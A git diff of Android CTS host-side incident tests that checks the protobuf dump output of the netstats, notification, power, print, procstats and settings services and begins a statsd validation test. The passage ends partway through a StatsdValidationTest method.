index f5c13c2..bdf7dcc 100644
--- a/hostsidetests/incident/src/com/android/server/cts/NetstatsIncidentTest.java
+++ b/hostsidetests/incident/src/com/android/server/cts/NetstatsIncidentTest.java
@@ -374,16 +374,14 @@
                 assertNotNegative("TX bytes", bucket.getTxBytes());
                 assertNotNegative("TX packets", bucket.getTxPackets());
 
-// 10 was still too big?                // It should be safe to say # of bytes >= 10 * 10 of packets, due to headers, etc...
-                final long FACTOR = 4;
                 assertTrue(
                         String.format("# of bytes %d too small for # of packets %d",
                                 bucket.getRxBytes(), bucket.getRxPackets()),
-                        bucket.getRxBytes() >= bucket.getRxPackets() * FACTOR);
+                        bucket.getRxBytes() >= bucket.getRxPackets());
                 assertTrue(
                         String.format("# of bytes %d too small for # of packets %d",
                                 bucket.getTxBytes(), bucket.getTxPackets()),
-                        bucket.getTxBytes() >= bucket.getTxPackets() * FACTOR);
+                        bucket.getTxBytes() >= bucket.getTxPackets());
             }
         }
 
diff --git a/hostsidetests/incident/src/com/android/server/cts/NotificationIncidentTest.java b/hostsidetests/incident/src/com/android/server/cts/NotificationIncidentTest.java
new file mode 100644
index 0000000..a96be46
--- /dev/null
+++ b/hostsidetests/incident/src/com/android/server/cts/NotificationIncidentTest.java
@@ -0,0 +1,119 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.server.cts;
+
+import android.service.notification.NotificationRecordProto;
+import android.service.notification.NotificationServiceDumpProto;
+import android.service.notification.NotificationRecordProto.State;
+import android.service.notification.RankingHelperProto;
+import android.service.notification.RankingHelperProto.RecordProto;
+import android.service.notification.ZenModeProto;
+import android.service.notification.ZenModeProto.ZenMode;
+
+/**
+ * Test to check that the notification service properly outputs its dump state.
+ *
+ * make -j32 CtsIncidentHostTestCases
+ * cts-tradefed run singleCommand cts-dev -d --module CtsIncidentHostTestCases
+ */
+public class NotificationIncidentTest extends ProtoDumpTestCase {
+    // Constants from android.app.NotificationManager
+    private static final int IMPORTANCE_UNSPECIFIED = -1000;
+    private static final int IMPORTANCE_NONE = 0;
+    private static final int IMPORTANCE_MAX = 5;
+    private static final int VISIBILITY_NO_OVERRIDE = -1000;
+    // Constants from android.app.Notification
+    private static final int PRIORITY_MIN = -2;
+    private static final int PRIORITY_MAX = 2;
+    private static final int VISIBILITY_SECRET = -1;
+    private static final int VISIBILITY_PUBLIC = 1;
+    // These constants are those in PackageManager.
+    public static final String FEATURE_WATCH = "android.hardware.type.watch";
+
+    /**
+     * Tests that at least one notification is posted, and verify its properties are plausible.
+     */
+    public void testNotificationRecords() throws Exception {
+        final NotificationServiceDumpProto dump = getDump(NotificationServiceDumpProto.parser(),
+                "dumpsys notification --proto");
+
+        assertTrue(dump.getRecordsCount() > 0);
+        boolean found = false;
+        for (NotificationRecordProto record : dump.getRecordsList()) {
+            if (record.getKey().contains("android")) {
+                found = true;
+                assertEquals(State.POSTED, record.getState());
+                assertTrue(record.getImportance() > IMPORTANCE_NONE);
+
+                // Ensure these fields exist, at least
+                record.getFlags();
+                record.getChannelId();
+                record.getSound();
+                record.getSoundUsage();
+                record.getCanVibrate();
+                record.getCanShowLight();
+                record.getGroupKey();
+            }
+            assertTrue(State.SNOOZED != record.getState());
+        }
+
+        assertTrue(found);
+    }
+
+    /** Test valid values from the RankingHelper. */
+    public void testRankingConfig() throws Exception {
+        final NotificationServiceDumpProto dump = getDump(NotificationServiceDumpProto.parser(),
+                "dumpsys notification --proto");
+
+        RankingHelperProto rhProto = dump.getRankingConfig();
+        for (RecordProto rp : rhProto.getRecordsList()) {
+            verifyRecordProto(rp);
+        }
+        for (RecordProto rp : rhProto.getRecordsRestoredWithoutUidList()) {
+            verifyRecordProto(rp);
+        }
+    }
+
+    private void verifyRecordProto(RecordProto rp) throws Exception {
+        assertTrue(!rp.getPackage().isEmpty());
+        assertTrue(rp.getUid() == -10000 || rp.getUid() >= 0);
+        assertTrue(rp.getImportance() == IMPORTANCE_UNSPECIFIED ||
+                (rp.getImportance() >= IMPORTANCE_NONE && rp.getImportance() <= IMPORTANCE_MAX));
+        assertTrue(rp.getPriority() >= PRIORITY_MIN && rp.getPriority() <= PRIORITY_MAX);
+        assertTrue(rp.getVisibility() == VISIBILITY_NO_OVERRIDE ||
+                (rp.getVisibility() >= VISIBILITY_SECRET &&
+                 rp.getVisibility() <= VISIBILITY_PUBLIC));
+    }
+
+    // Tests default state: zen mode off, no suppressors
+    public void testZenMode() throws Exception {
+        final NotificationServiceDumpProto dump = getDump(NotificationServiceDumpProto.parser(),
+                "dumpsys notification --proto");
+        ZenModeProto zenProto = dump.getZen();
+
+        assertEquals(ZenMode.ZEN_MODE_OFF, zenProto.getZenMode());
+        assertEquals(0, zenProto.getEnabledActiveConditionsCount());
+
+        // b/64606626 Watches intentionally suppress notifications always
+        if (!getDevice().hasFeature(FEATURE_WATCH)) {
+            assertEquals(0, zenProto.getSuppressedEffects());
+            assertEquals(0, zenProto.getSuppressorsCount());
+        }
+
+        zenProto.getPolicy();
+    }
+}
diff --git a/hostsidetests/incident/src/com/android/server/cts/NotificationTest.java b/hostsidetests/incident/src/com/android/server/cts/NotificationTest.java
deleted file mode 100644
index f91c8a7..0000000
--- a/hostsidetests/incident/src/com/android/server/cts/NotificationTest.java
+++ /dev/null
@@ -1,82 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.server.cts;
-
-import android.service.notification.NotificationRecordProto;
-import android.service.notification.NotificationServiceDumpProto;
-import android.service.notification.State;
-import android.service.notification.ZenMode;
-import android.service.notification.ZenModeProto;
-
-/**
- * Test to check that the notification service properly outputs its dump state.
- *
- * make -j32 CtsIncidentHostTestCases
- * cts-tradefed run singleCommand cts-dev -d --module CtsIncidentHostTestCases
- */
-public class NotificationTest extends ProtoDumpTestCase {
-    // These constants are those in PackageManager.
-    public static final String FEATURE_WATCH = "android.hardware.type.watch";
-
-    /**
-     * Tests that at least one notification is posted, and verify its properties are plausible.
-     */
-    public void testNotificationRecords() throws Exception {
-        final NotificationServiceDumpProto dump = getDump(NotificationServiceDumpProto.parser(),
-                "dumpsys notification --proto");
-
-        assertTrue(dump.getRecordsCount() > 0);
-        boolean found = false;
-        for (NotificationRecordProto record : dump.getRecordsList()) {
-            if (record.getKey().contains("android")) {
-                found = true;
-                assertEquals(State.POSTED, record.getState());
-                assertTrue(record.getImportance() > 0 /* NotificationManager.IMPORTANCE_NONE */);
-
-                // Ensure these fields exist, at least
-                record.getFlags();
-                record.getChannelId();
-                record.getSound();
-                record.getSoundUsage();
-                record.getCanVibrate();
-                record.getCanShowLight();
-                record.getGroupKey();
-            }
-            assertTrue(State.SNOOZED != record.getState());
-        }
-
-        assertTrue(found);
-    }
-
-    // Tests default state: zen mode off, no suppressors
-    public void testZenMode() throws Exception {
-        final NotificationServiceDumpProto dump = getDump(NotificationServiceDumpProto.parser(),
-                "dumpsys notification --proto");
-        ZenModeProto zenProto = dump.getZen();
-
-        assertEquals(ZenMode.ZEN_MODE_OFF, zenProto.getZenMode());
-        assertEquals(0, zenProto.getEnabledActiveConditionsCount());
-
-        // b/64606626 Watches intentionally suppress notifications always
-        if (!getDevice().hasFeature(FEATURE_WATCH)) {
-            assertEquals(0, zenProto.getSuppressedEffects());
-            assertEquals(0, zenProto.getSuppressorsCount());
-        }
-
-        zenProto.getPolicy();
-    }
-}
diff --git a/hostsidetests/incident/src/com/android/server/cts/PowerIncidentTest.java b/hostsidetests/incident/src/com/android/server/cts/PowerIncidentTest.java
index 77c0163..f2d8c84f 100644
--- a/hostsidetests/incident/src/com/android/server/cts/PowerIncidentTest.java
+++ b/hostsidetests/incident/src/com/android/server/cts/PowerIncidentTest.java
@@ -16,28 +16,33 @@
 
 package com.android.server.cts;
 
+import android.app.ActivityManagerProto;
+import android.content.IntentProto;
+import android.os.BatteryManagerProto;
 import android.os.LooperProto;
-import android.service.power.PowerServiceDumpProto;
-import android.service.power.PowerServiceSettingsAndConfigurationDumpProto;
+import android.os.PowerManagerInternalProto;
+import android.os.PowerManagerProto;
+import com.android.server.power.PowerManagerServiceDumpProto;
+import com.android.server.power.PowerServiceSettingsAndConfigurationDumpProto;
 
 /** Test to check that the power manager properly outputs its dump state. */
 public class PowerIncidentTest extends ProtoDumpTestCase {
     private static final int SYSTEM_UID = 1000;
 
     public void testPowerServiceDump() throws Exception {
-        final PowerServiceDumpProto dump =
-                getDump(PowerServiceDumpProto.parser(), "dumpsys power --proto");
+        final PowerManagerServiceDumpProto dump =
+                getDump(PowerManagerServiceDumpProto.parser(), "dumpsys power --proto");
 
         assertTrue(
-                PowerServiceDumpProto.Wakefulness.getDescriptor()
+                PowerManagerInternalProto.Wakefulness.getDescriptor()
                         .getValues()
                         .contains(dump.getWakefulness().getValueDescriptor()));
         assertTrue(
-                PowerServiceDumpProto.PlugType.getDescriptor()
+                BatteryManagerProto.PlugType.getDescriptor()
                         .getValues()
                         .contains(dump.getPlugType().getValueDescriptor()));
         assertTrue(
-                PowerServiceDumpProto.DockState.getDescriptor()
+                IntentProto.DockState.getDescriptor()
                         .getValues()
                         .contains(dump.getDockState().getValueDescriptor()));
 
@@ -47,20 +52,24 @@
         assertTrue(settingsAndConfiguration.getMaximumScreenDimDurationConfigMs() >= 0);
         assertTrue(settingsAndConfiguration.getMaximumScreenDimRatioConfig() > 0);
         assertTrue(settingsAndConfiguration.getScreenOffTimeoutSettingMs() > 0);
+        // Default value is -1.
+        assertTrue(settingsAndConfiguration.getSleepTimeoutSettingMs() >= -1);
         assertTrue(settingsAndConfiguration.getMaximumScreenOffTimeoutFromDeviceAdminMs() > 0);
+        // -1 is used to disable, so is valid.
+        assertTrue(settingsAndConfiguration.getUserActivityTimeoutOverrideFromWindowManagerMs() >= -1);
         final PowerServiceSettingsAndConfigurationDumpProto.ScreenBrightnessSettingLimitsProto
                 brightnessLimits = settingsAndConfiguration.getScreenBrightnessSettingLimits();
         assertTrue(brightnessLimits.getSettingMaximum() > 0);
         assertTrue(brightnessLimits.getSettingDefault() > 0);
         assertTrue(brightnessLimits.getSettingForVrDefault() > 0);
 
-        final PowerServiceDumpProto.UidProto uid = dump.getUids(0);
+        final PowerManagerServiceDumpProto.UidStateProto uid = dump.getUidStates(0);
         assertEquals(uid.getUid(), SYSTEM_UID);
         assertEquals(uid.getUidString(), Integer.toString(SYSTEM_UID));
         assertTrue(uid.getIsActive());
         assertFalse(uid.getIsProcessStateUnknown());
         assertTrue(
-                PowerServiceDumpProto.UidProto.ProcessState.getDescriptor()
+                ActivityManagerProto.ProcessState.getDescriptor()
                         .getValues()
                         .contains(uid.getProcessState().getValueDescriptor()));
 
@@ -70,5 +79,20 @@
         assertTrue(looper.getIdentityHashCode() > 0);
 
         assertTrue(dump.getSuspendBlockersCount() > 0);
+
+        // Check that times/durations are not incorrectly negative.
+        assertTrue(dump.getNotifyLongScheduledMs() >= 0);
+        assertTrue(dump.getNotifyLongDispatchedMs() >= 0);
+        assertTrue(dump.getNotifyLongNextCheckMs() >= 0);
+        assertTrue(dump.getLastWakeTimeMs() >= 0);
+        assertTrue(dump.getLastSleepTimeMs() >= 0);
+        assertTrue(dump.getLastUserActivityTimeMs() >= 0);
+        assertTrue(dump.getLastUserActivityTimeNoChangeLightsMs() >= 0);
+        assertTrue(dump.getLastInteractivePowerHintTimeMs() >= 0);
+        assertTrue(dump.getLastScreenBrightnessBoostTimeMs() >= 0);
+        // -1 is a valid value.
+        assertTrue(dump.getSleepTimeoutMs() >= -1);
+        assertTrue(dump.getScreenOffTimeoutMs() >= 0);
+        assertTrue(dump.getScreenDimDurationMs() >= 0);
     }
 }
diff --git a/hostsidetests/incident/src/com/android/server/cts/PrintProtoTest.java b/hostsidetests/incident/src/com/android/server/cts/PrintProtoTest.java
new file mode 100644
index 0000000..24f3d2a
--- /dev/null
+++ b/hostsidetests/incident/src/com/android/server/cts/PrintProtoTest.java
@@ -0,0 +1,49 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.server.cts;
+
+import android.service.print.PrintServiceDumpProto;
+import android.service.print.PrintSpoolerStateProto;
+import android.service.print.PrintUserStateProto;
+
+import com.android.tradefed.log.LogUtil;
+
+/**
+ * Test proto dump of print
+ */
+public class PrintProtoTest extends ProtoDumpTestCase {
+    /**
+     * Test that print dump is reasonable
+     *
+     * @throws Exception
+     */
+    public void testDump() throws Exception {
+        // If the device doesn't support printing, then pass.
+        if (!getDevice().hasFeature("android.software.print")) {
+            LogUtil.CLog.d("Bypass as android.software.print is not supported.");
+            return;
+        }
+
+        PrintServiceDumpProto dump = getDump(PrintServiceDumpProto.parser(),
+                "dumpsys print --proto");
+
+        assertTrue(dump.getUserStatesCount() > 0);
+
+        PrintUserStateProto userState = dump.getUserStatesList().get(0);
+        assertEquals(0, userState.getUserId());
+    }
+}
diff --git a/hostsidetests/incident/src/com/android/server/cts/ProcStatsProtoTest.java b/hostsidetests/incident/src/com/android/server/cts/ProcStatsProtoTest.java
new file mode 100644
index 0000000..640da22
--- /dev/null
+++ b/hostsidetests/incident/src/com/android/server/cts/ProcStatsProtoTest.java
@@ -0,0 +1,78 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.server.cts;
+
+import android.service.procstats.ProcessStatsProto;
+import android.service.procstats.ProcessStatsServiceDumpProto;
+
+/**
+ * Test proto dump of procstats
+ *
+ * $ make -j32 CtsIncidentHostTestCases
+ * $ cts-tradefed run cts-dev -m CtsIncidentHostTestCases \
+ * -t com.android.server.cts.ProcStatsProtoTest
+ */
+public class ProcStatsProtoTest extends ProtoDumpTestCase {
+
+    private static final String DEVICE_SIDE_TEST_APK = "CtsProcStatsProtoApp.apk";
+    private static final String DEVICE_SIDE_TEST_PACKAGE = "com.android.server.cts.procstats";
+    private static final String TEST_APP_TAG = "ProcstatsAppRunningTest";
+    private static final String TEST_APP_LOG = "Procstats app is running";
+    private static final int WAIT_MS = 1000;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        getDevice().executeShellCommand("dumpsys procstats --clear");
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        getDevice().uninstallPackage(DEVICE_SIDE_TEST_PACKAGE);
+        super.tearDown();
+    }
+
+    /**
+     * Test that procstats dump is reasonable, it installs procstats app and
+     * starts the activity, then asserts the procstats dump contains the package.
+     *
+     * @throws Exception
+     */
+    public void testDump() throws Exception {
+        installPackage(DEVICE_SIDE_TEST_APK, /* grantPermissions= */ true);
+        int retries = 3;
+        do {
+            getDevice().executeShellCommand(
+                "am start -n com.android.server.cts.procstats/.SimpleActivity");
+        } while (!checkLogcatForText(TEST_APP_TAG, TEST_APP_LOG, WAIT_MS) && retries-- > 0);
+
+        final ProcessStatsServiceDumpProto dump = getDump(ProcessStatsServiceDumpProto.parser(),
+                "dumpsys procstats --proto");
+
+        int N = dump.getProcstatsNow().getProcessStatsCount();
+        boolean containsTestApp = false;
+        for (int i = 0; i < N; i++) {
+            ProcessStatsProto ps = dump.getProcstatsNow().getProcessStats(i);
+            if (DEVICE_SIDE_TEST_PACKAGE.equals(ps.getProcess())) {
+                containsTestApp = true;
+            }
+        }
+
+        assertTrue(N > 0);
+        assertTrue(containsTestApp); // found test app in procstats dump
+    }
+}
diff --git a/hostsidetests/incident/src/com/android/server/cts/ProtoDumpTestCase.java b/hostsidetests/incident/src/com/android/server/cts/ProtoDumpTestCase.java
index 5739bf4..d273033 100644
--- a/hostsidetests/incident/src/com/android/server/cts/ProtoDumpTestCase.java
+++ b/hostsidetests/incident/src/com/android/server/cts/ProtoDumpTestCase.java
@@ -17,6 +17,7 @@
 package com.android.server.cts;
 
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.ddmlib.IShellOutputReceiver;
 import com.android.ddmlib.testrunner.RemoteAndroidTestRunner;
 import com.android.ddmlib.testrunner.TestIdentifier;
 import com.android.ddmlib.testrunner.TestResult;
@@ -31,11 +32,14 @@
 import com.android.tradefed.testtype.DeviceTestCase;
 import com.android.tradefed.testtype.IBuildReceiver;
 
+import com.google.common.base.Charsets;
 import com.google.protobuf.InvalidProtocolBufferException;
 import com.google.protobuf.MessageLite;
 import com.google.protobuf.Parser;
 
 import java.io.FileNotFoundException;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicBoolean;
 import java.util.Map;
 import java.util.regex.Matcher;
 import java.util.regex.Pattern;
@@ -176,4 +180,66 @@
         assertTrue("No group found for pattern '" + pattern + "'", matcher.groupCount() > 0);
         return matcher.group(1);
     }
+
+    /**
+     * Runs logcat and waits (for a maximumum of maxTimeMs) until the desired text is displayed with
+     * the given tag.
+     * Logcat is not cleared, so make sure that text is unique (won't get false hits from old data).
+     * Note that, in practice, the actual max wait time seems to be about 10s longer than maxTimeMs.
+     * Returns true means the desired log line is found.
+     */
+    protected boolean checkLogcatForText(String logcatTag, String text, int maxTimeMs) {
+        IShellOutputReceiver receiver = new IShellOutputReceiver() {
+            private final StringBuilder mOutputBuffer = new StringBuilder();
+            private final AtomicBoolean mIsCanceled = new AtomicBoolean(false);
+
+            @Override
+            public void addOutput(byte[] data, int offset, int length) {
+                if (!isCancelled()) {
+                    synchronized (mOutputBuffer) {
+                        String s = new String(data, offset, length, Charsets.UTF_8);
+                        mOutputBuffer.append(s);
+                        if (checkBufferForText()) {
+                            mIsCanceled.set(true);
+                        }
+                    }
+                }
+            }
+
+            private boolean checkBufferForText() {
+                if (mOutputBuffer.indexOf(text) > -1) {
+                    return true;
+                } else {
+                    // delete all old data (except the last few chars) since they don't contain text
+                    // (presumably large chunks of data will be added at a time, so this is
+                    // sufficiently efficient.)
+                    int newStart = mOutputBuffer.length() - text.length();
+                    if (newStart > 0) {
+                        mOutputBuffer.delete(0, newStart);
+                    }
+                    return false;
+                }
+            }
+
+            @Override
+            public boolean isCancelled() {
+                return mIsCanceled.get();
+            }
+
+            @Override
+            public void flush() {
+            }
+        };
+
+        try {
+            // Wait for at most maxTimeMs for logcat to display the desired text.
+            getDevice().executeShellCommand(String.format("logcat -s %s -e '%s'", logcatTag, text),
+                    receiver, maxTimeMs, TimeUnit.MILLISECONDS, 0);
+            return receiver.isCancelled();
+        } catch (com.android.tradefed.device.DeviceNotAvailableException e) {
+            System.err.println(e);
+        }
+        return false;
+    }
+
 }
diff --git a/hostsidetests/incident/src/com/android/server/cts/SettingsIncidentTest.java b/hostsidetests/incident/src/com/android/server/cts/SettingsIncidentTest.java
index 7ea00e1..d9ee469 100644
--- a/hostsidetests/incident/src/com/android/server/cts/SettingsIncidentTest.java
+++ b/hostsidetests/incident/src/com/android/server/cts/SettingsIncidentTest.java
@@ -58,7 +58,7 @@
     private void verifySettings(GeneratedMessage settings) throws Exception {
         verifySettings(getSettingProtos(settings));
 
-        final List<SettingsOperationProto> ops = invoke(settings, "getHistoricalOpList");
+        final List<SettingsOperationProto> ops = invoke(settings, "getHistoricalOperationsList");
         for (SettingsOperationProto op : ops) {
             assertTrue(op.getTimestamp() >= 0);
             assertNotNull(op.getOperation());
diff --git a/hostsidetests/incident/src/com/android/server/cts/StatsdValidationTest.java b/hostsidetests/incident/src/com/android/server/cts/StatsdValidationTest.java
new file mode 100644
index 0000000..c147265
--- /dev/null
+++ b/hostsidetests/incident/src/com/android/server/cts/StatsdValidationTest.java
@@ -0,0 +1,673 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.server.cts;
+
+import com.android.ddmlib.IShellOutputReceiver;
+import com.android.internal.os.StatsdConfigProto.Alert;
+import com.android.internal.os.StatsdConfigProto.AtomMatcher;
+import com.android.internal.os.StatsdConfigProto.Bucket;
+import com.android.internal.os.StatsdConfigProto.CountMetric;
+import com.android.internal.os.StatsdConfigProto.DurationMetric;
+import com.android.internal.os.StatsdConfigProto.EventMetric;
+import com.android.internal.os.StatsdConfigProto.GaugeMetric;
+import com.android.internal.os.StatsdConfigProto.KeyMatcher;
+import com.android.internal.os.StatsdConfigProto.KeyValueMatcher;
+import com.android.internal.os.StatsdConfigProto.Predicate;
+import com.android.internal.os.StatsdConfigProto.SimpleAtomMatcher;
+import com.android.internal.os.StatsdConfigProto.SimplePredicate;
+import com.android.internal.os.StatsdConfigProto.StatsdConfig;
+import com.android.internal.os.StatsdConfigProto.ValueMetric;
+import com.android.os.AtomsProto.Atom;
+import com.android.os.AtomsProto.KernelWakelockPulled;
+import com.android.os.AtomsProto.ScreenStateChanged;
+import com.android.os.StatsLog.ConfigMetricsReport;
+import com.android.os.StatsLog.ConfigMetricsReportList;
+import com.android.tradefed.log.LogUtil;
+
+import com.google.common.io.Files;
+
+import java.io.File;
+import java.text.SimpleDateFormat;
+import java.util.Date;
+import java.util.Random;
+
+/**
+ * Test for statsd
+ *
+ * Validates reporting of statsd logging based on different events
+ */
+public class StatsdValidationTest extends ProtoDumpTestCase {
+
+    private static final String TAG = "StatsdValidationTest";
+
+    private static final boolean TESTS_ENABLED = false;
+    // For tests that require incidentd. Keep as true until TESTS_ENABLED is permanently enabled.
+    private static final boolean INCIDENTD_TESTS_ENABLED = true;
+
+    // TODO: Use a statsd-specific app (temporarily just borrowing the batterystats app)
+    private static final String DEVICE_SIDE_TEST_APK = "CtsStatsDApp.apk";
+    private static final String DEVICE_SIDE_TEST_PACKAGE
+            = "com.android.server.cts.device.statsd";
+    private static final String DEVICE_SIDE_SIMPLE_ACTIVITY_COMPONENT
+            = "com.android.server.cts.device.statsd/.SimpleActivity";
+    private static final String DEVICE_SIDE_FG_ACTIVITY_COMPONENT
+            = "com.android.server.cts.device.statsd/.ForegroundActivity";
+    private static final String DEVICE_SIDE_BG_SERVICE_COMPONENT
+            = "com.android.server.cts.device.statsd/.BackgroundActivity";
+
+    // These constants are those in PackageManager.
+    private static final String FEATURE_BLUETOOTH_LE = "android.hardware.bluetooth_le";
+    private static final String FEATURE_LEANBACK_ONLY = "android.software.leanback_only";
+    private static final String FEATURE_LOCATION_GPS = "android.hardware.location.gps";
+    private static final String FEATURE_WIFI = "android.hardware.wifi";
+
+    // Constants from BatteryStatsBgVsFgActions.java (not directly accessible here).
+    private static final String KEY_ACTION = "action";
+    private static final String ACTION_BLE_SCAN_OPTIMIZED = "action.ble_scan_optimized";
+    private static final String ACTION_BLE_SCAN_UNOPTIMIZED = "action.ble_scan_unoptimized";
+    private static final String ACTION_GPS = "action.gps";
+    private static final String ACTION_JOB_SCHEDULE = "action.jobs";
+    private static final String ACTION_SYNC = "action.sync";
+    private static final String ACTION_WIFI_SCAN = "action.wifi_scan";
+
+    private static final String KEY_REQUEST_CODE = "request_code";
+    private static final String BG_VS_FG_TAG = "BatteryStatsBgVsFgActions";
+
+    private static final String UPDATE_CONFIG_CMD = "cmd stats config update";
+    private static final String DUMP_REPORT_CMD = "cmd stats dump-report";
+    private static final String REMOVE_CONFIG_CMD = "cmd stats config remove";
+    private static final String CONFIG_UID = "1000";
+    private static final String CONFIG_NAME = "cts_config";
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        // TODO: need to do these before running real test:
+        // 1. compile statsd and push to device
+        // 2. make sure StatsCompanionService is running
+        // 3. start statsd
+        // These should go away once we have statsd properly set up.
+
+        // Uninstall to clear the history in case it's still on the device.
+        getDevice().uninstallPackage(DEVICE_SIDE_TEST_PACKAGE);
+        removeConfig("fake");
+        removeConfig(CONFIG_NAME);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        getDevice().uninstallPackage(DEVICE_SIDE_TEST_PACKAGE);
+        removeConfig(CONFIG_NAME);
+        super.tearDown();
+    }
+
+    public void testScreenOnAtom() throws Exception {
+        if (!TESTS_ENABLED) {return;}
+        StatsdConfig config = getDefaultConfig()
+                .addEventMetric(
+                        EventMetric.newBuilder().setName("METRIC").setWhat("SCREEN_TURNED_ON"))
+                .build();
+        uploadConfig(config);
+
+        turnScreenOff();
+        Thread.sleep(2000);
+        turnScreenOn();
+        Thread.sleep(2000);
+
+        ConfigMetricsReportList reportList = getReportList();
+
+        assertTrue(reportList.getReportsCount() == 1);
+        ConfigMetricsReport report = reportList.getReports(0);
+        assertTrue(report.getMetricsCount() == 1);
+        assertTrue(report.getMetrics(0).getEventMetrics().getDataCount() == 1);
+        assertTrue(report.getMetrics(0).getEventMetrics().getData(
+                0).getAtom().getScreenStateChanged()
+                .getDisplayState().getNumber() ==
+                ScreenStateChanged.State.STATE_ON_VALUE);
+    }
+
+    public void testScreenOffAtom() throws Exception {
+        if (!TESTS_ENABLED) {return;}
+        StatsdConfig config = getDefaultConfig()
+                .addEventMetric(
+                        EventMetric.newBuilder().setName("METRIC").setWhat("SCREEN_TURNED_OFF"))
+                .build();
+        uploadConfig(config);
+
+        turnScreenOn();
+        Thread.sleep(2000);
+        turnScreenOff();
+        Thread.sleep(2000);
+
+        ConfigMetricsReportList reportList = getReportList();
+
+        assertTrue(reportList.getReportsCount() == 1);
+        ConfigMetricsReport report = reportList.getReports(0);
+        assertTrue(report.getMetricsCount() == 1);
+        // one of them can be DOZE
+        assertTrue(report.getMetrics(0).getEventMetrics().getDataCount() >= 1);
+        assertTrue(report.getMetrics(0).getEventMetrics().getData(
+                0).getAtom().getScreenStateChanged()
+                .getDisplayState().getNumber() == ScreenStateChanged.State.STATE_OFF_VALUE ||
+                report.getMetrics(0).getEventMetrics().getData(0).getAtom().getScreenStateChanged()
+                        .getDisplayState().getNumber()
+                        == ScreenStateChanged.State.STATE_DOZE_VALUE);
+    }
+
+    // Tests that anomaly detection for count works.
+    // Also tests that anomaly detection works when spanning multiple buckets.
+    public void testCountAnomalyDetection() throws Exception {
+        if (!TESTS_ENABLED) return;
+        if (!INCIDENTD_TESTS_ENABLED) return;
+        // TODO: Don't use screen-state as the atom.
+        StatsdConfig config = getDefaultConfig()
+                .addCountMetric(CountMetric.newBuilder()
+                    .setName("METRIC")
+                    .setWhat("SCREEN_TURNED_ON")
+                    .setBucket(Bucket.newBuilder().setBucketSizeMillis(5_000))
+                )
+                .addAlert(Alert.newBuilder()
+                    .setName("testCountAnomalyDetectionAlert")
+                    .setMetricName("METRIC")
+                    .setNumberOfBuckets(4)
+                    .setRefractoryPeriodSecs(20)
+                    .setTriggerIfSumGt(2)
+                    .setIncidentdDetails(Alert.IncidentdDetails.newBuilder()
+                        .addSection(-1)
+                    )
+                )
+                .build();
+        uploadConfig(config);
+
+        String markDeviceDate = getCurrentLogcatDate();
+        turnScreenOn(); // count -> 1 (not an anomaly, since not "greater than 2")
+        Thread.sleep(1000);
+        turnScreenOff();
+        Thread.sleep(3000);
+        assertFalse(didIncidentdFireSince(markDeviceDate));
+
+        turnScreenOn(); // count ->2 (not an anomaly, since not "greater than 2")
+        Thread.sleep(1000);
+        turnScreenOff();
+        Thread.sleep(1000);
+        assertFalse(didIncidentdFireSince(markDeviceDate));
+
+        turnScreenOn(); // count ->3 (anomaly, since "greater than 2"!)
+        Thread.sleep(1000);
+        assertTrue(didIncidentdFireSince(markDeviceDate));
+
+        turnScreenOff();
+    }
+
+    // Tests that anomaly detection for duration works.
+    // Also tests that refractory periods in anomaly detection work.
+    public void testDurationAnomalyDetection() throws Exception {
+        if (!TESTS_ENABLED) return;
+        if (!INCIDENTD_TESTS_ENABLED) return;
+        // TODO: Do NOT use screenState for this, since screens auto-turn-off after a variable time.
+        StatsdConfig config = getDefaultConfig()
+                .addDurationMetric(DurationMetric.newBuilder()
+                        .setName("METRIC")
+                        .setWhat("SCREEN_IS_ON")
+                        .setAggregationType(DurationMetric.AggregationType.SUM)
